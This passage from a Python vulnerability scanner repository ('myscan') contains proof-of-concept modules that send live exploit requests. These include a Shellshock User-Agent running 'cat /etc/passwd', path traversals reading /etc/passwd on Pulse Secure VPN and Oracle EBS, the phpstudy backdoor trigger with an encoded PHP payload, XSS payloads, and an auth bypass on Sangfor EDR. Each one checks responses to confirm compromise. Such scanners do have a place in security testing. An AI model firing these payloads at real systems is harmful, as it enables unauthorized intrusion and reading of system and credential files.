19 | self.vulmsg = "referer:https://github.com/nic329/webapp-misconfig-docker/tree/master/laravel/5_debug"
20 | self.level = 1 # 0:Low 1:Medium 2:High
21 |
22 | def verify(self):
23 | # 根据config.py 配置的深度,限定一下目录深度
24 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
25 | return
26 | req = {
27 | "method": "POST",
28 | "url": self.url,
29 | "timeout": 10,
30 | "allow_redirects": False,
31 | "verify": False,
32 | }
33 | r = request(**req)
34 |
35 | if r != None and r.status_code == 405 and b"MethodNotAllowedHttpException" in r.content and b"Environment & details" in r.content:
36 | parser_ = response_parser(r)
37 | self.result.append({
38 | "name": self.name,
39 | "url": req.get("url"),
40 | "level": self.level, # 0:Low 1:Medium 2:High
41 | "detail": {
42 | "vulmsg": self.vulmsg,
43 | "request": parser_.getrequestraw(),
44 | "response": parser_.getresponseraw()
45 | }
46 | })
47 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/nexus/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/nginx/poc_nginx-module-vts-xss.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : poc_nginx-module-vts-xss.py
5 |
6 | '''
7 | 复现:
8 | docker pull gaciaga/nginx-vts:1.11.10-alpine-vts-0.1.12
9 | docker run -P -itd gaciaga/nginx-vts:1.11.10-alpine-vts-0.1.12
10 |
11 | '''
12 | from myscan.config import scan_set
13 | from myscan.lib.helper.request import request
14 | from myscan.lib.parse.response_parser import response_parser
15 |
16 |
17 | class POC():
18 | def __init__(self, workdata):
19 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
20 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
21 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
22 | self.name = "nginx-module-vts-xss"
23 | self.vulmsg = '''Nginx virtual host traffic status module XSS'''
24 | self.level = 2 # 0:Low 1:Medium 2:High
25 |
26 | def verify(self):
27 | # 根据config.py 配置的深度,限定一下目录深度
28 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
29 | return
30 |
31 | req = {
32 | "method": "GET",
33 | "url": self.url + "status%3E%3Cscript%3Exxxxxx(31337)%3C%2Fscript%3E",
34 | "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers
35 | "timeout": 10,
36 | "verify": False,
37 | }
38 |
39 | r = request(**req)
40 | if r != None and r.status_code==200 and b'' in r.content and b'nginx vhost traffic status monitor' in r.content:
41 | parser_ = response_parser(r)
42 | self.result.append({
43 | "name": self.name,
44 | "url": self.url,
45 | "level": self.level, # 0:Low 1:Medium 2:High
46 | "detail": {
47 | "vulmsg": self.vulmsg,
48 | "request": parser_.getrequestraw(),
49 | "response": parser_.getresponseraw()
50 | }
51 | })
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/oracle/oracle_ebs-bispgrapgh-file-read_2020.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/9/18
3 | # @Author : caicai
4 | # @File : oracle_ebs-bispgrapgh-file-read_2020.py
5 |
6 | '''
7 | keywords:
8 | "E-Business Home Page"
9 | '''
10 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
11 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
12 | from myscan.config import scan_set
13 | import re
14 |
15 |
16 | class POC():
17 | def __init__(self, workdata):
18 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
19 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
20 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
21 | self.name = "ebs-bispgrapgh-file-read"
22 | self.vulmsg = "no detail"
23 | self.level = 2 # 0:Low 1:Medium 2:High
24 |
25 | def verify(self):
26 | # 根据config.py 配置的深度,限定一下目录深度
27 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
28 | return
29 | req = {
30 | "method": "GET",
31 | "url": self.url + "OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/",
32 | "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers
33 | "timeout": 10,
34 | "verify": False,
35 | }
36 | r = request(**req)
37 | if r is not None and r.status_code == 200 and re.search(b"root:[x*]:0:0", r.content):
38 | parser_ = response_parser(r)
39 | self.result.append({
40 | "name": self.name,
41 | "url": self.url,
42 | "level": self.level, # 0:Low 1:Medium 2:High
43 | "detail": {
44 | "vulmsg": self.vulmsg,
45 | "request": parser_.getrequestraw(),
46 | "response": parser_.getresponseraw()
47 | }
48 | })
49 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/phpstudy/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/phpstudy/poc_phpstudy_backdoor_2019.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # @Time : 2020-02-17
3 | # @Author : caicai
4 | # @File : poc_phpstudy_backdoor_2019.py
5 | import copy
6 | from myscan.config import scan_set
7 | from myscan.lib.helper.request import request
8 | from myscan.lib.parse.response_parser import response_parser
9 |
10 |
11 | class POC():
12 | def __init__(self, workdata):
13 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
14 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
15 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
16 | self.name = "phpstudy backdoor"
17 | self.vulmsg = '''Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
18 | vuln_url: "php_xmlrpc.dll"'''
19 | self.level = 2 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 1)) + 2:
24 | return
25 |
26 | request_headers = self.dictdata.get("request").get("headers")
27 | request_headers_forpayload = copy.deepcopy(request_headers)
28 | request_headers_forpayload["Accept-Encoding"] = "gzip,deflate"
29 | request_headers_forpayload["Accept-Charset"] = "cHJpbnRmKG1kNSgzMzMpKTs="
30 | req = {
31 | "method": "GET",
32 | "url": self.url,
33 | "headers": request_headers_forpayload, # 主要保留cookie等headers
34 | "timeout": 10,
35 | "verify": False,
36 | }
37 |
38 | r = request(**req)
39 | if r and b"310dcbbf4cce62f762a2aaa148d556bd" in r.content:
40 | parse_=response_parser(r)
41 | self.result.append({
42 | "name": self.name,
43 | "url": self.url,
44 | "level": self.level, # 0:Low 1:Medium 2:High
45 | "detail": {
46 | "vulmsg": self.vulmsg,
47 | "request":parse_.getrequestraw(),
48 | "response":parse_.getresponseraw()
49 | }
50 | })
51 |
52 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/poc_user-agent-shell-shock_2018.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/9/18
3 | # @Author : caicai
4 | # @File : poc_user-agent-shell-shock_2018.py
5 |
6 | '''
7 | 未验证
8 | '''
9 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
10 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
11 | from myscan.config import scan_set
12 | import re
13 |
14 | class POC():
15 | def __init__(self, workdata):
16 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
17 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
18 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
19 | self.name = "user-agent-shell-shock"
20 | self.vulmsg = "no detail"
21 | self.level = 2 # 0:Low 1:Medium 2:High
22 |
23 | def verify(self):
24 | # 根据config.py 配置的深度,限定一下目录深度
25 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
26 | return
27 | req = {
28 | "method": "GET",
29 | "url": self.url + "cgi-bin/status",
30 | "headers":{'''User-Agent''': '''"() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"'''},
31 | "timeout": 10,
32 | "verify": False,
33 | }
34 | r = request(**req)
35 | if r is not None and r.status_code == 200 and re.search(b"root:[x*]:0:0", r.content):
36 | parser_ = response_parser(r)
37 | self.result.append({
38 | "name": self.name,
39 | "url": self.url,
40 | "level": self.level, # 0:Low 1:Medium 2:High
41 | "detail": {
42 | "vulmsg": self.vulmsg,
43 | "request": parser_.getrequestraw(),
44 | "response": parser_.getresponseraw()
45 | }
46 | })
47 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/private/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/11/25
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/pulsesecure/poc_pulsesecure_sslvpn_cve-2019-11510_2019.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/11/3
3 | # @Author : caicai
4 | # @File : poc_pulsesecure_sslvpn_cve-2019-11510_2019.py
5 | '''
6 | fofa:
7 | app="PulseSecure-SSL-VPN"
8 | '''
9 |
10 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
11 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
12 | from myscan.config import scan_set
13 | import re
14 |
15 | class POC():
16 | def __init__(self, workdata):
17 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
18 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
19 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
20 | self.name = "pulsesecure_sslvpn_cve-2019-11510"
21 | self.vulmsg = "google it "
22 | self.level = 3 # 0:Low 1:Medium 2:High
23 |
24 | def verify(self):
25 |
26 | if self.dictdata.get("url").get("protocol") != "https":
27 | return
28 | # 根据config.py 配置的深度,限定一下目录深度
29 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
30 | return
31 |
32 | req = {
33 | "method": "GET",
34 | "url": self.url + "dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/",
35 | "timeout": 10,
36 | "allow_redirects": False,
37 | "verify": False,
38 | }
39 | r = request(**req)
40 | if r != None and r.status_code == 200 and re.search(b"root:[x*]:0", r.content):
41 | parser_ = response_parser(r)
42 | self.result.append({
43 | "name": self.name,
44 | "url": self.url,
45 | "level": self.level, # 0:Low 1:Medium 2:High
46 | "detail": {
47 | "vulmsg": self.vulmsg,
48 | "request": parser_.getrequestraw(),
49 | "response": parser_.getresponseraw()
50 | }
51 | })
52 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/qnap/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/rails/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/sangfor/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/sangfor/poc_sangfor_edr_unauth_2020.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020-02-14
3 | # @Author : caicai
4 | # @File : __template.py
5 |
6 | # 此脚本为编写perfloder的poc模板,编写poc时复制一份此模版为pocname即可,用户可在verify方法下添加自己代码
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "sangfor edr unauth"
18 | self.vulmsg = "no detail "
19 | self.level = 2 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "GET",
27 | "url": self.url + "ui/login.php?user=admin",
28 | "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers
29 | "timeout": 10,
30 | "allow_redirects": False,
31 | "verify": False,
32 | }
33 | r = request(**req)
34 | if r is not None and r.status_code==302 and "index.php" in r.headers.get("Location","") and b"SANGFOR\xe7\xbb\x88\xe7\xab\xaf\xe6\xa3\x80\xe6\xb5\x8b\xe5\x93\x8d\xe5\xba\x94\xe5\xb9\xb3\xe5\x8f\xb0" in r.content:
35 | parser_ = response_parser(r)
36 | self.result.append({
37 | "name": self.name,
38 | "url": req["url"],
39 | "level": self.level, # 0:Low 1:Medium 2:High
40 | "detail": {
41 | "vulmsg": self.vulmsg,
42 | "request": parser_.getrequestraw(),
43 | "response": parser_.getresponseraw()
44 | }
45 | })
46 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/sap/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/sap/poc_sap_cve-2017-12637_2017.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/11/24
3 | # @Author : caicai
4 | # @File : poc_sap_cve-2017-12637_2017.py
5 |
6 |
7 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
8 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
9 | from myscan.config import scan_set
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "sap_cve-2017-12637"
18 | self.vulmsg = "no detail"
19 | self.level = 3 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 | req = {
26 | "method": "GET",
27 | "url": self.url + "scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/..",
28 | "timeout": 10,
29 | "allow_redirects": False,
30 | "verify": False,
31 | }
32 | r = request(**req)
33 | if r is not None and r.status_code == 200 and b"WEB-INF" in r.content and b"META-INF" in r.content:
34 | parser_ = response_parser(r)
35 | self.result.append({
36 | "name": self.name,
37 | "url": self.url,
38 | "level": self.level, # 0:Low 1:Medium 2:High
39 | "detail": {
40 | "vulmsg": self.vulmsg,
41 | "request": parser_.getrequestraw(),
42 | "response": parser_.getresponseraw()
43 | }
44 | })
45 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/seeyon/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/solr/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/sonarqube/poc_sonarqube_api_access.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/10/29
3 | # @Author : caicai
4 | # @File : poc_sonarqube_api_access.py
5 |
6 |
7 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
8 | from myscan.config import scan_set
9 | from myscan.lib.parse.response_parser import response_parser
10 |
11 |
12 | class POC():
13 | def __init__(self, workdata):
14 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
15 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
16 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
17 | self.name = "sonarqube_api_access"
18 | self.vulmsg = "no detail"
19 | self.level = 2 # 0:Low 1:Medium 2:High
20 |
21 | def verify(self):
22 | # 根据config.py 配置的深度,限定一下目录深度
23 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
24 | return
25 |
26 | req = {
27 | "method": "GET",
28 | "url": self.url + "api/settings/values",
29 | "timeout": 10,
30 | "verify": False,
31 | "allow_redirects": False
32 | }
33 | r = request(**req)
34 | if r is not None and r.status_code == 200 and "application/json" in r.headers.get("Content-Type","") and b'''sonar.type''' in r.content:
35 | parser_ = response_parser(r)
36 | self.result.append({
37 | "name": self.name,
38 | "url": parser_.geturl(),
39 | "level": self.level, # 0:Low 1:Medium 2:High
40 | "detail": {
41 | "vulmsg": self.vulmsg,
42 | "request": parser_.getrequestraw(),
43 | "response": parser_.getresponseraw()
44 | }
45 | })
46 |
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/spark/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/spring/__init__.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/8/21
3 | # @Author : caicai
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/myscan/pocs/perfolder/spring/poc_spring_xss_2020.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020/9/1
3 | # @Author : caicai
4 | # @File : poc_spring_xss_2020.py
5 |
6 | from myscan.lib.parse.response_parser import response_parser ##写了一些操作resonse的方法的类
7 | from myscan.lib.helper.request import request # 修改了requests.request请求的库,建议使用此库,会在redis计数
8 | from myscan.config import scan_set
9 |
10 |
11 | class POC():
12 | def __init__(self, workdata):
13 | self.dictdata = workdata.get("dictdata") # python的dict数据,详情请看docs/开发指南Example dict数据示例
14 | self.url = workdata.get("data") # self.url为需要测试的url,值为目录url,会以/结尾,如https://www.baidu.com/home/ ,为目录
15 | self.result = [] # 此result保存dict数据,dict需包含name,url,level,detail字段,detail字段值必须为dict。如下self.result.append代码
16 | self.name = "springboot-xss"
17 | self.vulmsg = "unknown source. "
18 | self.level = 2 # 0:Low 1:Medium 2:High
19 |
20 | def verify(self):
21 | # 根据config.py 配置的深度,限定一下目录深度
22 | if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
23 | return
24 | req = {
25 | "method": "GET",
26 | "url": self.url + "jolokia/read%3Csvg%20onload=alert(document.cookie)%3E?mimeType=text/html",
27 | "headers": {
28 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169"
29 | },
30 | "allow_redirects": False,
31 | "timeout": 10,
32 | "verify": False,
33 | }
34 | r = request(**req)
35 | if r != None and b"name 'read